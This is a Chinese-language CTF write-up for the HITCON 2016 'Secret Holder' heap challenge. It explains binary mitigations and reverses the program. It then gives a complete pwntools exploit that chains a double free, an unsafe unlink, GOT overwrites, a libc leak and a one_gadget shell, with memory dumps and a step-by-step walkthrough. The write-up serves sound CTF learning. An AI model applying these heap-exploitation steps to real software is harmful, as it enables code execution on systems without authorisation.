HITCON_CTF_2016:Secret Holder
一、信息收集
RELRO:在Linux系统安全领域数据可以写的存储区就会是攻击的目标,尤其是存储函数指针的区域。 所以在安全防护的角度来说尽量减少可写的存储区域对安全会有极大的好处.GCC, GNU linker以及Glibc-dynamic linker一起配合实现了一种叫做relro的技术: read only relocation。大概实现就是由linker指定binary的一块经过dynamic linker处理过 relocation之后的区域为只读。设置符号重定向表格为只读或在程序启动时就解析并绑定所有动态符号,从而减少对GOT(Global Offset Table)攻击。RELRO为” Partial RELRO”,说明我们对GOT表具有写权限。RELRO为“Full RELRO”,对GOT表没有写入权限。
Stack:栈溢出保护,当启用栈保护后,函数开始执行的时候就会向往栈里插入cookie信息,当函数真正返回的时候回验证cookie信息是否合法,若果不合法就会停止程序运行。
NX:全称(NO-execute)不可执行的意思,NX的基本原理是将数据所在内存页标识为不可执行,当程序溢出成功转入shellcode时,程序会尝试在数据页面上执行指令,此时CPU就会抛出异常。
PIE:PIE (ASLR) 全称(position-independent exeecutable)。中文为地址无关可执行文件。该技术是一个针对代码段(.text)、数据段(.data)、为初始化全局变量段(.bss)等固定地址的一个防护技术,如果程序开启了PIE保护的话,在每次加载程序时变换加载地址,从而不能通过ROPgadget等工具帮助解题。
文件开启了栈溢出 栈不可执行保护
二、逆向分析
main函数
存在三个功能 Keep secret、Wipe secret、Renew secret
题目可以double free、uaf等利用方式解题
Kepp secret 创建堆块
6020C0 保存块1check(buf)
6020B8 保存块2check(6020A0)
6020BC 保存块3check(6020A8)
Wipe secret 释放堆块
free时没有判断check指针,直接传入buff到free函数中。
Renew secret 写入堆块
三个堆指针保存在bss段中。qword_6020A0、qword_6020A8、qword_6020B0
存在double free 漏洞。
Free 功能选项中没有判断是否释放。
为什么要提高 mp_.n_mmaps_max的值,因为需要构造相邻的堆块,不然无法执行unlink机制。需要在内存中构造伪堆块,释放伪堆块进行unlink脱链达到任意地址写的能力。
对于double free的利用条件需要围绕悬空指针构造伪堆块结构,并设置前一个堆块为空闲。当free掉悬空指针时会触发unlink宏达到任意代码执行。
三、利用
Python from pwn import * import pdb from LibcSearcher import * # -*- coding: utf-8 -*- # context.log_level = 'debug' debug = 1
if (debug): p = process("./SecretHolder_HITCON_CTF_2016") else: p = remote('node4.buuoj.cn', 27816)
# context(arch='i386',os='linux')
elf = ELF('SecretHolder_HITCON_CTF_2016') libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
small_ptr = 0x006020b0 big_ptr = 0x006020a0
one_gadgets=[0x45226,0x4527a,0xf03a4,0xf1247]
def keep_calloc(idx): p.sendlineafter("Renew secret\n", '1') p.sendlineafter("Huge secret\n", str(idx)) p.sendafter("secret: \n", 'AAAA')
def wipe_free(idx): p.sendlineafter("Renew secret\n", '2') p.sendlineafter("Huge secret\n", str(idx))
def renew(idx, content): p.sendlineafter("Renew secret\n", '3') p.sendlineafter("Huge secret\n", str(idx)) p.sendafter("secret: \n", content)
# chunk1 = 0x28 # chunk2 = 0xFA0 # chunk3 = 0x61A80
# 要绕过free检查的 double free 漏洞,要构造出三个块
keep_calloc(3) wipe_free(3) # 提高mp_.n_mmaps_max值
keep_calloc(1) wipe_free(1) keep_calloc(2) #这里从fastbin中返回释放掉的块1地址 wipe_free(1) #此时块1指针指向的地址被使用了,此时在free就是把块2free掉了 keep_calloc(1) keep_calloc(3)
# 0x11e4000 这里块1和块2地址都相同,这里的知识点是什么? 申请堆块时首先查询bins中是否有空闲块,如果有就返回。但是这里申请块2的大小比空闲块大。 # 在 明显有double free的情况下 无法对同一个指针释放两次,需要取巧。 free函数有检查double free漏洞,但如果两个指针指向相同地址时就可以double free。 #-------------------------- #| 0 | 0x21 | #| ptr-0x18 | ptr-0x10 | #| 0x20 | 0x61a90 | #--------------------------
payload = p64(0) # fake prev_size payload += p64(0x21) # fake size payload += p64(small_ptr - 0x18) # fake fd payload += p64(small_ptr - 0x10) # fake bk payload += p64(0x20) # fake prev_size of next payload += p64(0x61a90) # fake size of next
# 当前内存状态是 块1和块3紧挨着,同时块2指针也指向块1.块2指针成了悬空指针。
renew(2, payload) # use after free
# 0x11e4000: 0x0000000000000000 0x0000000000000031 # 0x11e4010: 0x0000000041414141 0x0000000000000000 # 0x11e4020: 0x0000000000000000 0x0000000000000000 # 0x11e4030: 0x0000000000000000 0x0000000000061a91 # 0x11e4040: 0x0000000041414141 0x0000000000000000 # 0x11e4050: 0x0000000000000000 0x0000000000000000 # 0x11e4060: 0x0000000000000000 0x0000000000000000 # 0x11e4070: 0x0000000000000000 0x0000000000000000 # 0x11e4080: 0x0000000000000000 0x0000000000000000 # 0x11e4090: 0x0000000000000000 0x0000000000000000 # 0x11e40a0: 0x0000000000000000 0x0000000000000000 # 0x11e40b0: 0x0000000000000000 0x0000000000000000 # 0x11e40c0: 0x0000000000000000 0x0000000000000000 # 0x11e40d0: 0x0000000000000000 0x0000000000000000 # 0x11e40e0: 0x0000000000000000 0x0000000000000000 # 0x11e40f0: 0x0000000000000000 0x0000000000000000
# 0x11e4000: 0x0000000000000000 0x0000000000000031 这里是块1的头部 # 0x11e4010: 0x0000000000000000 0x0000000000000021 这里是构造伪堆块的头部 # 0x11e4020: 0x0000000000602098 0x00000000006020a0 这里是fd和bk的值
# 0x11e4030: 0x0000000000000020 0x0000000000061a90 0x20 是 prive_size 表示上一个堆块的大小,这里将prive_inues 位设置为0 表示为空闲堆块 # 0x11e4040: 0x0000000041414141 0x0000000000000000 # 0x11e4050: 0x0000000000000000 0x0000000000000000 # 0x11e4060: 0x0000000000000000 0x0000000000000000 # 0x11e4070: 0x0000000000000000 0x0000000000000000 # 0x11e4080: 0x0000000000000000 0x0000000000000000 # 0x11e4090: 0x0000000000000000 0x0000000000000000 # 0x11e40a0: 0x0000000000000000 0x0000000000000000 # 0x11e40b0: 0x0000000000000000 0x0000000000000000 # 0x11e40c0: 0x0000000000000000 0x0000000000000000 # 0x11e40d0: 0x0000000000000000 0x0000000000000000 # 0x11e40e0: 0x0000000000000000 0x0000000000000000 # 0x11e40f0: 0x0000000000000000 0x0000000000000000
wipe_free(3) # unsafe unlink 后 块1获取任意写能力。
payload = b"B" * 8 payload += p64(elf.got['free']) # *big_ptr = free@got.plt payload += b"C" * 8 payload += p64(big_ptr) # *small_ptr = big_ptr
# 写入前的内存 # 0x602098: 0x0000000000000000 0x000000000247d010 # 0x6020a8: 0x000000000247d040 0x0000000000602098 # 0x6020b8: 0x0000000000000001 0x0000000000000001 # 0x6020c8: 0x0000000000000000 0x0000000000000000 # 0x6020d8: 0x0000000000000000 0x0000000000000000 # 0x6020e8: 0x0000000000000000 0x0000000000000000 # 0x6020f8: 0x0000000000000000 0x0000000000000000 # 0x602108: 0x0000000000000000 0x0000000000000000 # 0x602118: 0x0000000000000000 0x0000000000000000 # 0x602128: 0x0000000000000000 0x0000000000000000 # 0x602138: 0x0000000000000000 0x0000000000000000 # 0x602148: 0x0000000000000000 0x0000000000000000 # 0x602158: 0x0000000000000000 0x0000000000000000 # 0x602168: 0x0000000000000000 0x0000000000000000 # 0x602178: 0x0000000000000000 0x0000000000000000 # 0x602188: 0x0000000000000000 0x0000000000000000
# pdb.set_trace() renew(1, payload) #这里是向 pk 指针指向的地址写入内容
# 写入后的内存 # 0x602098: 0x4242424242424242 0x0000000000602018 这个是free@plt 地址 # 0x6020a8: 0x4343434343434343 0x00000000006020a0 这个是指向上面的 602018 的地址 # 0x6020b8: 0x0000000000000001 0x0000000000000001 # 0x6020c8: 0x0000000000000000 0x0000000000000000 # 0x6020d8: 0x0000000000000000 0x0000000000000000 # 0x6020e8: 0x0000000000000000 0x0000000000000000 # 0x6020f8: 0x0000000000000000 0x0000000000000000 # 0x602108: 0x0000000000000000 0x0000000000000000 # 0x602118: 0x0000000000000000 0x0000000000000000 # 0x602128: 0x0000000000000000 0x0000000000000000 # 0x602138: 0x0000000000000000 0x0000000000000000 # 0x602148: 0x0000000000000000 0x0000000000000000 # 0x602158: 0x0000000000000000 0x0000000000000000 # 0x602168: 0x0000000000000000 0x0000000000000000 # 0x602178: 0x0000000000000000 0x0000000000000000 # 0x602188: 0x0000000000000000 0x0000000000000000
# 0x602018 <free@got.plt>: 0x00007f65e5e92540 这个地址是<__GI___libc_free> 0x00007f65e5e7d6a0 这个地址是<_IO_puts>:
renew(2, p64(elf.plt['puts'])) # *free@got.plt = puts@plt
# 0x602018 <free@got.plt>: 0x00000000004006c0 这个地址是<puts@plt> 0x00007f65e5e7d6a0
renew(1, p64(elf.got['puts'])) # *big_ptr = puts@got.plt 这里的值是干什么用的?
# 0x602018 <free@got.plt>: 0x00000000004006c0 这个地址是<puts@plt> 0x00007f65e5e7d6a0
wipe_free(2) # puts(puts@got.plt) puts_addr = u64(p.recvline()[:6] + b"\x00\x00") log.info("puts_addr: "+hex(puts_addr)) libc_base = puts_addr - libc.symbols['puts'] one_gadget = libc_base + one_gadgets[0]
# 这里又是干什么用的呢? payload = b"A" * 0x10 payload += p64(elf.got['puts']) # *small_ptr = puts@got.plt renew(1, payload)
renew(1, p64(one_gadget)) # *puts@got.plt = one_gadget
p.interactive()
|
利用方法:
三个块大小为:
# chunk1 = 0x28
# chunk2 = 0xFA0
# chunk3 = 0x61A80
首先创建块3在释放掉抬高mp_.n_mmaps_max值,使得下次申请时走brk() 函数。
Python keep_calloc(3) wipe_free(3) # 提高mp_.n_mmaps_max值
|
构造出悬空指针,free函数本身有校验double free所以不能直接对指针free两次。需要构造出悬空指针。
Python keep_calloc(1) wipe_free(1) keep_calloc(2) #这里从fastbin中返回释放掉的块1地址 wipe_free(1) #此时块1指针指向的地址被使用了,再次free就是把块2free掉了 keep_calloc(1) # 块1 keep_calloc(3) # 块2
|
此时内存情况如下:
接下来构造出伪块,伪堆块结构如下:
Python #-------------------------- #| 0 | 0x21 | #| ptr-0x18 | ptr-0x10 | #| 0x20 | 0x61a90 | #-------------------------- payload = p64(0) # fake prev_size payload += p64(0x21) # fake size payload += p64(small_ptr - 0x18) # fake fd payload += p64(small_ptr - 0x10) # fake bk payload += p64(0x20) # fake prev_size of next payload += p64(0x61a90) # fake size of next
|
当前内存状态是 块1和块3紧挨着,同时块2指针也指向块1.块2指针成了悬空指针。但是程序本身计数是没有清零的所以可以继续往块2中写入。
将伪堆块写入块1内存中,此时内存布局如下:
Python renew(2, payload) # use after free
|
执行unlink摘链操作,使伪堆块获取任意地址写的能力。
Python wipe_free(3) # unsafe unlink 后 伪堆块获取任意写能力。
|
此时 块1的指针已经是PK指向的地址。对块1的任何写入都是向PK指向的地址去写。
块1---指向---> small_buff - 0x18
块2---指向---> small_buff - 0x10
构造如下结构,执行renew(1)修改small_buff内存
Python payload = b"B" * 8 payload += p64(elf.got['free']) # *big_ptr = free@got.plt payload += b"C" * 8 payload += p64(big_ptr) # *small_ptr = big_ptr renew(1, payload) #这里是向 pk 指针指向的地址写入内容 块1指向buff
|
此时small_buff 内存如下:
此时块1指向地址被修改了,指向块2指向的地址。
执行renew(2)修改free地址
Python renew(2, p64(elf.plt['puts'])) # *free@got.plt = puts@plt
|
执行renew(1) 修改块的指针为puts@got地址。
Python renew(1, p64(elf.got['puts'])) # *big_ptr = puts@got.plt
|
将块2执行free 打印出puts运行地址。计算libc基地址和one_gadget的地址。
Python wipe_free(2) # puts(puts@got.plt) puts_addr = u64(p.recvline()[:6] + b"\x00\x00") log.info("puts_addr: "+hex(puts_addr)) libc_base = puts_addr - libc.symbols['puts'] one_gadget = libc_base + one_gadgets[0]
|
覆盖free@got地址为 put函数,覆盖块2为put@plt地址,调用free函数释放块2,此时打印出put@got内存运行地址。
Libcbase = address_put - offset;
使用one_gadget 寻找gadget
修改puts@got地址为one_gadget地址。
Python payload = b"A" * 0x10 payload += p64(elf.got['puts']) # *small_ptr = puts@got.plt renew(1, payload)
renew(1, p64(one_gadget)) # *puts@got.plt = one_gadget
|
Payload = gadget+libc
将payload覆盖写入到块1中,当前块1为put,执行renew功能执行pyaload
ge12
关注微信公众号或者可以直接加作者微信: